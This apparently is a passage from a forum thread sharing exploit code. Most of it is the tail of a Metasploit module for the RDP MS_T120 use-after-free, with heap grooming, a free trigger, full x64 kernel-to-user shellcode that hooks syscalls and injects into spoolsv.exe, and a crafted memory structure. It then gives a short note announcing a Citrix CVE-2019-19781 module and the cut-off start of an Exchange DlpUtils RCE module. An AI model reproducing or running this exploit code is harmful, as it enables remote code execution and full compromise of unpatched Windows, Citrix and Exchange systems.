      ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
    ]

    @mst120_chan_id = 1004 + chans.length - 1

    unless rdp_negotiate_security(chans, server_selected_proto)
      fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
    end

    rdp_establish_session

    rdp_dispatch_loop
  end

private

  # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
  # received on a channel, and this is when we need to kick off our exploit.
  def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
    # We have to do the default behaviour first.
    super(pkt, user, chan_id, flags, data)

    groom_size = datastore['GROOMSIZE']
    pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
    groom_chan_count = datastore['GROOMCHANNELCOUNT']

    payloads = create_payloads(pool_addr)

    print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")

    target_channel_id = chan_id + 1

    spray_buffer = create_exploit_channel_buffer(pool_addr)
    spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
    free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80

    print_status("Surfing channels ...")
    rdp_send(spray_channel * 1024)
    rdp_send(free_trigger)

    chan_surf_size = 0x421
    spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
    chan_surf_packet = spray_channel * spray_packets
    chan_surf_count  = chan_surf_size / spray_packets

    chan_surf_count.times do
      rdp_send(chan_surf_packet)
    end

    print_status("Lobbing eggs ...")

    groom_mb = groom_size * 1024 / payloads.length

    groom_mb.times do
      tpkts = ''
      for c in 0..groom_chan_count
        payloads.each do |p|
          tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
        end
      end
      rdp_send(tpkts)
    end

    # Terminating and disconnecting forces the USE
    print_status("Forcing the USE of FREE'd object ...")
    rdp_terminate
    rdp_disconnect
  end

  # Helper function to create the kernel mode payload and the usermode payload with
  # the egg hunter prefix.
  def create_payloads(pool_address)
    begin
      [kernel_mode_payload, user_mode_payload].map { |p|
        [
          pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
          p
        ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
      }
    rescue => ex
      print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
    end
  end

  def assemble_with_fixups(asm)
    # Rewrite all instructions of form 'lea reg, [rel label]' as relative
    # offsets for the instruction pointer, since metasm's 'ModRM' parser does
    # not grok that syntax.
    lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/
    asm.gsub!(lea_rel) do |match|
      match = "lea #{$1}, [rip + #{$2}]"
    end

    # metasm encodes all rep instructions as repnz
    # https://github.com/jjyg/metasm/pull/40
    asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')

    encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded

    # Fixup above rewritten instructions with the relative label offsets
    encoded.reloc.each do |offset, reloc|
      target = reloc.target.to_s
      if encoded.export.key?(target)
        # Note: this assumes the address we're fixing up is at the end of the
        # instruction. This holds for 'lea' but if there are other fixups
        # later, this might need to change to account for specific instruction
        # encodings
        if reloc.type == :i32
          instr_offset = offset + 4
        elsif reloc.type == :i16
          instr_offset = offset + 2
        end
        encoded.fixup(target => encoded.export[target] - instr_offset)
      else
        raise "Unknown symbol '#{target}' while resolving relative offsets"
      end
    end
    encoded.fill
    encoded.data
  end

  # The user mode payload has two parts. The first is an egg hunter that searches for
  # the kernel mode payload. The second part is the actual payload that's invoked in
  # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
  # and user mode payloads around the heap in different packets because we don't have
  # enough space to put them both in the same chunk. Given that code exec can result in
  # landing on the user land payload, the egg is used to go to a kernel payload.
  def user_mode_payload

    # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
    #
    # This shellcode was written originally for eternalblue exploits
    # eternalblue_exploit7.py and eternalblue_exploit8.py
    #
    # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
    #
    # Note:
    # - The userland shellcode is run in a new thread of system process.
    #     If userland shellcode causes any exception, the system process get killed.
    # - On idle target with multiple core processors, the hijacked system call
    #     might take a while (> 5 minutes) to get called because the system
    #     call may be called on other processors.
    # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.
    #     This is ok because some Windows functions do not require a shadow stack.
    # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
    #     Note: the Windows 8 version macros are removed below
    # - The userland payload MUST be appened to this shellcode.
    #
    # References:
    # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
    # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c

    asm = %Q^
_start:
    lea rcx, [rel _start]
    mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
_egg_loop:
    sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
    sub rax, 0x#{CHUNK_SIZE.to_s(16)}
    mov rdx, [rcx - 8]
    cmp rdx, r8
    jnz _egg_loop
    jmp rcx
    ^
    egg_loop = assemble_with_fixups(asm)

    # The USERMODE_EGG is required at the start as well, because the exploit code
    # assumes the tag is there, and jumps over it to find the shellcode.
    [
      USERMODE_EGG,
      egg_loop,
      USERMODE_EGG,
      payload.raw
    ].pack('<Qa*<Qa*')
  end

  def kernel_mode_payload
    data_kapc_offset           = 0x10
    data_nt_kernel_addr_offset = 0x8
    data_origin_syscall_offset = 0
    data_peb_addr_offset       = -0x10
    data_queueing_kapc_offset  = -0x8
    hal_heap_storage           = 0xffffffffffd04100

    # These hashes are not the same as the ones used by the
    # Block API so they have to be hard-coded.
    createthread_hash              = 0x835e515e
    keinitializeapc_hash           = 0x6d195cc4
    keinsertqueueapc_hash          = 0xafcc4634
    psgetcurrentprocess_hash       = 0xdbf47c78
    psgetprocessid_hash            = 0x170114e1
    psgetprocessimagefilename_hash = 0x77645f3f
    psgetprocesspeb_hash           = 0xb818b848
    psgetthreadteb_hash            = 0xcef84c3e
    spoolsv_exe_hash               = 0x3ee083d8
    zwallocatevirtualmemory_hash   = 0x576e99ea

    asm = %Q^
shellcode_start:
    nop
    nop
    nop
    nop
    ; IRQL is DISPATCH_LEVEL when got code execution
    push rbp
    call set_rbp_data_address_fn
    ; read current syscall
    mov ecx, 0xc0000082
    rdmsr
    ; do NOT replace saved original syscall address with hook syscall
    lea r9, [rel syscall_hook]
    cmp eax, r9d
    je _setup_syscall_hook_done
    ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
    cmp dword [rbp+#{data_origin_syscall_offset}], eax
    je _hook_syscall
    ; save original syscall
    mov dword [rbp+#{data_origin_syscall_offset}+4], edx
    mov dword [rbp+#{data_origin_syscall_offset}], eax
    ; first time on the target
    mov byte [rbp+#{data_queueing_kapc_offset}], 0
_hook_syscall:
    ; set a new syscall on running processor
    ; setting MSR 0xc0000082 affects only running processor
    xchg r9, rax
    push rax
    pop rdx     ; mov rdx, rax
    shr rdx, 32
    wrmsr
_setup_syscall_hook_done:
    pop rbp
;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.
    ; TODO: make the lock not suck!!
    mov     rax, qword [gs:0x188]
    add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++
    lea     r11, [rsp+0b8h]
    xor     eax, eax
    mov     rbx, [r11+30h]
    mov     rbp, [r11+40h]
    mov     rsi, [r11+48h]
    mov     rsp, r11
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    ret
;--------------------- END HACK crappy thread cleanup
;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
    ; On idle target without user application, syscall on hijacked processor might not be called immediately.
    ; Find some address to store the data, the data in this address MUST not be modified
    ;   when exploit is rerun before syscall is called
    ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
    ; ------ HACK rbp wasnt valid!
    mov rbp, #{hal_heap_storage}    ; TODO: use some other buffer besides HAL heap??
    ; --------- HACK end rbp
_set_rbp_data_address_fn_next:
    ;shr rbp, 12
    ;shl rbp, 12
    ;sub rbp, 0x70   ; for KAPC struct too
    ret
    ;int 3
    ;call $+5
    ;pop r13
syscall_hook:
    swapgs
    mov qword [gs:0x10], rsp
    mov rsp, qword [gs:0x1a8]
    push 0x2b
    push qword [gs:0x10]
    push rax    ; want this stack space to store original syscall addr
    ; save rax first to make this function continue to real syscall
    push rax
    push rbp    ; save rbp here because rbp is special register for accessing this shellcode data
    call set_rbp_data_address_fn
    mov rax, [rbp+#{data_origin_syscall_offset}]
    add rax, 0x1f   ; adjust syscall entry, so we do not need to reverse start of syscall handler
    mov [rsp+0x10], rax
    ; save all volatile registers
    push rcx
    push rdx
    push r8
    push r9
    push r10
    push r11
    ; use lock cmpxchg for queueing APC only one at a time
    xor eax, eax
    mov dl, 1
    lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
    jnz _syscall_hook_done
    ;======================================
    ; restore syscall
    ;======================================
    ; an error after restoring syscall should never occur
    mov ecx, 0xc0000082
    mov eax, [rbp+#{data_origin_syscall_offset}]
    mov edx, [rbp+#{data_origin_syscall_offset}+4]
    wrmsr
    ; allow interrupts while executing shellcode
    sti
    call r3_to_r0_start
    cli
_syscall_hook_done:
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdx
    pop rcx
    pop rbp
    pop rax
    ret
r3_to_r0_start:
    ; save used non-volatile registers
    push r15
    push r14
    push rdi
    push rsi
    push rbx
    push rax    ; align stack by 0x10
    ;======================================
    ; find nt kernel address
    ;======================================
    mov r15, qword [rbp+#{data_origin_syscall_offset}]      ; KiSystemCall64 is an address in nt kernel
    shr r15, 0xc                ; strip to page size
    shl r15, 0xc
_x64_find_nt_walk_page:
    sub r15, 0x1000             ; walk along page size
    cmp word [r15], 0x5a4d      ; 'MZ' header
    jne _x64_find_nt_walk_page
    ; save nt address for using in KernelApcRoutine
    mov [rbp+#{data_nt_kernel_addr_offset}], r15
    ;======================================
    ; get current EPROCESS and ETHREAD
    ;======================================
    mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR
    mov edi, #{psgetcurrentprocess_hash}
    call win_api_direct
    xchg rcx, rax       ; rcx = EPROCESS
    ; r15 : nt kernel address
    ; r14 : ETHREAD
    ; rcx : EPROCESS
    ;======================================
    ; find offset of EPROCESS.ImageFilename
    ;======================================
    mov edi, #{psgetprocessimagefilename_hash}
    call get_proc_addr
    mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)
    mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename
    ;======================================
    ; find offset of EPROCESS.ThreadListHead
    ;======================================
    ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
    ; if offset of ImageFilename is more than 0x400, current is (Win8+)
    cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename
    jb _find_eprocess_threadlist_offset_win7
    add eax, 0x10
_find_eprocess_threadlist_offset_win7:
    lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead
    ;======================================
    ; find offset of ETHREAD.ThreadListEntry
    ;======================================
    lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead
    mov r9, r8
    ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
_find_ethread_threadlist_offset_loop:
    mov r9, qword [r9]
    cmp r8, r9          ; check end of list
    je _insert_queue_apc_done    ; not found !!!
    ; if (r9 - r14 < 0x700) found
    mov rax, r9
    sub rax, r14
    cmp rax, 0x700
    ja _find_ethread_threadlist_offset_loop
    sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)
    ;======================================
    ; find offset of EPROCESS.ActiveProcessLinks
    ;======================================
    mov edi, #{psgetprocessid_hash}
    call get_proc_addr
    mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)
    add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
    ;======================================
    ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
    ;======================================
    ; check process name
    xor eax, eax      ; HACK to exit earlier if process not found
_find_target_process_loop:
    lea rsi, [rcx+rbx]
    push rax
    call calc_hash
    cmp eax, #{spoolsv_exe_hash}  ; "spoolsv.exe"
    pop rax
    jz found_target_process
;---------- HACK PROCESS NOT FOUND start -----------
    inc rax
    cmp rax, 0x300      ; HACK not found!
    jne _next_find_target_process
    xor ecx, ecx
    ; clear queueing kapc flag, allow other hijacked system call to run shellcode
    mov byte [rbp+#{data_queueing_kapc_offset}], cl
    jmp _r3_to_r0_done
;---------- HACK PROCESS NOT FOUND end -----------
_next_find_target_process:
    ; next process
    mov rcx, [rcx+rdi]
    sub rcx, rdi
    jmp _find_target_process_loop
found_target_process:
    ; The allocation for userland payload will be in KernelApcRoutine.
    ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
    ;======================================
    ; save process PEB for finding CreateThread address in kernel KAPC routine
    ;======================================
    mov edi, #{psgetprocesspeb_hash}
    ; rcx is EPROCESS. no need to set it.
    call win_api_direct
    mov [rbp+#{data_peb_addr_offset}], rax
    ;======================================
    ; iterate ThreadList until KeInsertQueueApc() success
    ;======================================
    ; r15 = nt
    ; r14 = -(offset of ETHREAD.ThreadListEntry)
    ; rcx = EPROCESS
    ; edx = offset of EPROCESS.ThreadListHead
    lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
    mov rbx, rsi    ; use rbx for iterating thread
    ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
    ; Moreover, alertable thread need to be waiting state which is more difficult to check.
    ; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
    ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
    mov rbx, [rbx+8]
    cmp rsi, rbx
    je _insert_queue_apc_loop   ; skip list head
    ; find start of ETHREAD address
    ; set it to rdx to be used for KeInitializeApc() argument too
    lea rdx, [rbx + r14]    ; ETHREAD
    ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
    ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
    ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
    ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
    ; Teb member is next to Queue member.
    mov edi, #{psgetthreadteb_hash}
    call get_proc_addr
    mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)
    cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL
    je _insert_queue_apc_loop
    ; KeInitializeApc(PKAPC,
    ;                 PKTHREAD,
    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,
    ;                 PKRUNDOWN_ROUTINE = NULL,
    ;                 PKNORMAL_ROUTINE = userland_shellcode,
    ;                 KPROCESSOR_MODE = UserMode (1),
    ;                 PVOID Context);
    lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC
    xor r8, r8      ; OriginalApcEnvironment
    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine
    push rbp    ; context
    push 1      ; UserMode
    push rbp    ; userland shellcode (MUST NOT be NULL)
    push r8     ; NULL
    sub rsp, 0x20   ; shadow stack
    mov edi, #{keinitializeapc_hash}
    call win_api_direct
    ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later
    ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
    ;   SystemArgument1 is second argument in usermode code (rdx)
    ;   SystemArgument2 is third argument in usermode code (r8)
    lea rcx, [rbp+#{data_kapc_offset}]
    ;xor edx, edx   ; no need to set it here
    ;xor r8, r8     ; no need to set it here
    xor r9, r9
    mov edi, #{keinsertqueueapc_hash}
    call win_api_direct
    add rsp, 0x40
    ; if insertion failed, try next thread
    test eax, eax
    jz _insert_queue_apc_loop
    mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry
    ; EPROCESS pointer 8 bytes
    ; InProgressFlags 1 byte
    ; KernelApcPending 1 byte
    ; if success, UserApcPending MUST be 1
    cmp byte [rax+0x1a], 1
    je _insert_queue_apc_done
    ; manual remove list without lock
    mov [rax], rax
    mov [rax+8], rax
    jmp _insert_queue_apc_loop
_insert_queue_apc_done:
    ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
    pop rax
    pop rbx
    pop rsi
    pop rdi
    pop r14
    pop r15
    ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: r15 = module pointer
;                  edi = hash of target function name
;========================================================================
win_api_direct:
    call get_proc_addr
    jmp rax
;========================================================================
; Get function address in specific module
;
; Arguments: r15 = module pointer
;            edi = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
    ; Save registers
    push rbx
    push rcx
    push rsi                ; for using calc_hash
    ; use rax to find EAT
    mov eax, dword [r15+60]  ; Get PE header e_lfanew
    mov eax, dword [r15+rax+136] ; Get export tables RVA
    add rax, r15
    push rax                 ; save EAT
    mov ecx, dword [rax+24]  ; NumberOfFunctions
    mov ebx, dword [rax+32]  ; FunctionNames
    add rbx, r15
_get_proc_addr_get_next_func:
    ; When we reach the start of the EAT (we search backwards), we hang or crash
    dec ecx                     ; decrement NumberOfFunctions
    mov esi, dword [rbx+rcx*4]  ; Get rva of next module name
    add rsi, r15                ; Add the modules base address
    call calc_hash
    cmp eax, edi                        ; Compare the hashes
    jnz _get_proc_addr_get_next_func    ; try the next function
_get_proc_addr_finish:
    pop rax                     ; restore EAT
    mov ebx, dword [rax+36]
    add rbx, r15                ; ordinate table virtual address
    mov cx, word [rbx+rcx*2]    ; desired functions ordinal
    mov ebx, dword [rax+28]     ; Get the function addresses table rva
    add rbx, r15                ; Add the modules base address
    mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA
    add rax, r15                ; Add the modules base address to get the functions actual VA
    pop rsi
    pop rcx
    pop rbx
    ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: rsi = string to hash
; Clobber: rsi
; Return: eax = hash
;========================================================================
calc_hash:
    push rdx
    xor eax, eax
    cdq
_calc_hash_loop:
    lodsb                   ; Read in the next byte of the ASCII string
    ror edx, 13             ; Rotate right our hash value
    add edx, eax            ; Add the next byte of the string
    test eax, eax           ; Stop when found NULL
    jne _calc_hash_loop
    xchg edx, eax
    pop rdx
    ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
;
; VOID KernelApcRoutine(
;           IN PKAPC Apc,
;           IN PKNORMAL_ROUTINE *NormalRoutine,
;           IN PVOID *NormalContext,
;           IN PVOID *SystemArgument1,
;           IN PVOID *SystemArgument2)
kernel_kapc_routine:
    push rbp
    push rbx
    push rdi
    push rsi
    push r15
    mov rbp, [r8]       ; *NormalContext is our data area pointer
    mov r15, [rbp+#{data_nt_kernel_addr_offset}]
    push rdx
    pop rsi     ; mov rsi, rdx
    mov rbx, r9
    ;======================================
    ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
    ;======================================
    xor eax, eax
    mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
    ; rdx is already address of baseAddr
    mov [rdx], rax      ; baseAddr = 0
    mov ecx, eax
    not rcx             ; ProcessHandle = -1
    mov r8, rax         ; ZeroBits
    mov al, 0x40    ; eax = 0x40
    push rax            ; PAGE_EXECUTE_READWRITE = 0x40
    shl eax, 6      ; eax = 0x40 << 6 = 0x1000
    push rax            ; MEM_COMMIT = 0x1000
    ; reuse r9 for address of RegionSize
    mov [r9], rax       ; RegionSize = 0x1000
    sub rsp, 0x20   ; shadow stack
    mov edi, #{zwallocatevirtualmemory_hash}
    call win_api_direct
    add rsp, 0x30
    ; check error
    test eax, eax
    jnz _kernel_kapc_routine_exit
    ;======================================
    ; copy userland payload
    ;======================================
    mov rdi, [rsi]
;--------------------------- HACK IN EGG USER ---------
    push rdi
    lea rsi, [rel shellcode_start]
    mov rdi, 0x#{USERMODE_EGG.to_s(16)}
  _find_user_egg_loop:
      sub rsi, 0x#{CHUNK_SIZE.to_s(16)}
      mov rax, [rsi - 8]
      cmp rax, rdi
      jnz _find_user_egg_loop
  _inner_find_user_egg_loop:
      inc rsi
      mov rax, [rsi - 8]
      cmp rax, rdi
      jnz _inner_find_user_egg_loop
    pop rdi
;--------------------------- END HACK EGG USER ------------
    mov ecx, 0x380  ; fix payload size to 0x380 bytes
    rep movsb
    ;======================================
    ; find CreateThread address (in kernel32.dll)
    ;======================================
    mov rax, [rbp+#{data_peb_addr_offset}]
    mov rax, [rax + 0x18]       ; PEB->Ldr
    mov rax, [rax + 0x20]       ; InMemoryOrder list
    ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
    ;mov rbx, rsi    ; use rbx for iterating thread
_find_kernel32_dll_loop:
    mov rax, [rax]       ; first one always be executable
    ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
    ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)
    ; offset 0x50  => is name
    ; offset 0x20  => is dllbase
    ;cmp word [rax+0x38], 0x40
    ;jne _find_kernel32_dll_loop
    cmp word [rax+0x48], 0x18
    jne _find_kernel32_dll_loop
    mov rdx, [rax+0x50]
    ; check only "32" because name might be lowercase or uppercase
    cmp dword [rdx+0xc], 0x00320033   ; 3\x002\x00
    jnz _find_kernel32_dll_loop
    ;int3
    mov r15, [rax+0x20]
    mov edi, #{createthread_hash}
    call get_proc_addr
    ; save CreateThread address to SystemArgument1
    mov [rbx], rax
_kernel_kapc_routine_exit:
    xor ecx, ecx
    ; clear queueing kapc flag, allow other hijacked system call to run shellcode
    mov byte [rbp+#{data_queueing_kapc_offset}], cl
    ; restore IRQL to APC_LEVEL
    mov cl, 1
    mov cr8, rcx
    pop r15
    pop rsi
    pop rdi
    pop rbx
    pop rbp
    ret
userland_start:
userland_start_thread:
    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
    xchg rdx, rax   ; rdx is CreateThread address passed from kernel
    xor ecx, ecx    ; lpThreadAttributes = NULL
    push rcx        ; lpThreadId = NULL
    push rcx        ; dwCreationFlags = 0
    mov r9, rcx     ; lpParameter = NULL
    lea r8, [rel userland_payload]  ; lpStartAddr
    mov edx, ecx    ; dwStackSize = 0
    sub rsp, 0x20
    call rax
    add rsp, 0x30
    ret
userland_payload:
    ^

    [
      KERNELMODE_EGG,
      assemble_with_fixups(asm)
    ].pack('<Qa*')
  end

  def create_free_trigger(chan_user_id, chan_id)
    # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
    vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}")
    # The extra bytes on the end of the body is what causes the bad things to happen
    body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22
    rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)
  end

  def create_exploit_channel_buffer(target_addr)
    overspray_addr = target_addr + 0x2000
    shellcode_vtbl = target_addr + HEADER_SIZE
    magic_value1 = overspray_addr + 0x810
    magic_value2 = overspray_addr + 0x48
    magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE

    # first 0x38 bytes are used by DATA PDU packet
    # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE
    # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm
    [
      [
        # SystemResourceList (2 pointers, each 8 bytes)
        # Pointer to OWNER_ENTRY (8 bytes)
        # ActiveCount (SHORT, 2 bytes)
        # Flag (WORD, 2 bytes)
        # Padding (BYTE[4], 4 bytes) x64 only
        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
        magic_value2, # OwnerThread (ULONG, 8 bytes)
        magic_value2, # TableSize (ULONG, 8 bytes)
        0x0, # ActiveEntries (DWORD, 4 bytes)
        0x0, # ContenttionCount (DWORD, 4 bytes)
        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
        0x0, # Reserved2 (PVOID, 8 bytes) x64 only
        magic_value2, # Address (PVOID, 8 bytes)
        0x0, # SpinLock (UINT_PTR, 8 bytes)
      ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
      [
        magic_value2, # SystemResourceList (2 pointers, each 8 bytes)
        magic_value2, # --------------------
        0x0, # Pointer to OWNER_ENTRY (8 bytes)
        0x0, # ActiveCount (SHORT, 2 bytes)
        0x0, # Flag (WORD, 2 bytes)
        0x0, # Padding (BYTE[4], 4 bytes) x64 only
        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
        magic_value2, # OwnerThread (ULONG, 8 bytes)
        magic_value2, # TableSize (ULONG, 8 bytes)
        0x0, # ActiveEntries (DWORD, 4 bytes)
        0x0, # ContenttionCount (DWORD, 4 bytes)
        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
        0x0, # Reserved2 (PVOID, 8 bytes) x64 only
        magic_value2, # Address (PVOID, 8 bytes)
        0x0, # SpinLock (UINT_PTR, 8 bytes)
      ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
      [
        0x1F, # ClassOffset (DWORD, 4 bytes)
        0x0, # bindStatus (DWORD, 4 bytes)
        0x72, # lockCount1 (QWORD, 8 bytes)
        magic_value3, # connection (QWORD, 8 bytes)
        shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)
        0x5, # channelClass (DWORD, 4 bytes)
        "MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes)
        0x1F, # channelIndex (DWORD, 4 bytes)
        magic_value1, # channels (QWORD, 8 bytes)
        magic_value1, # connChannelsAddr (POINTER, 8 bytes)
        magic_value1, # list1 (QWORD, 8 bytes)
        magic_value1, # list1 (QWORD, 8 bytes)
        magic_value1, # list2 (QWORD, 8 bytes)
        magic_value1, # list2 (QWORD, 8 bytes)
        0x65756c62, # inputBufferLen (DWORD, 4 bytes)
        0x7065656b, # inputBufferLen (DWORD, 4 bytes)
        magic_value1, # connResrouce (QWORD, 8 bytes)
        0x65756c62, # lockCount158 (DWORD, 4 bytes)
        0x7065656b, # dword15C (DWORD, 4 bytes)
      ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')
    ].join('')
  end

end
 
Выложили модуль под Metasploit для CVE-2019-19781 aka Shitrix

An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

сам баг

Metasploit для CVE-2019-19781
 
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU14 on Windows Server 2016.
Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the "Data Loss Prevention" role assigned and an active
mailbox.

If the user is in the "Compliance Management" or greater "Organization
Management" role groups, then they have the "Data Loss Prevention"
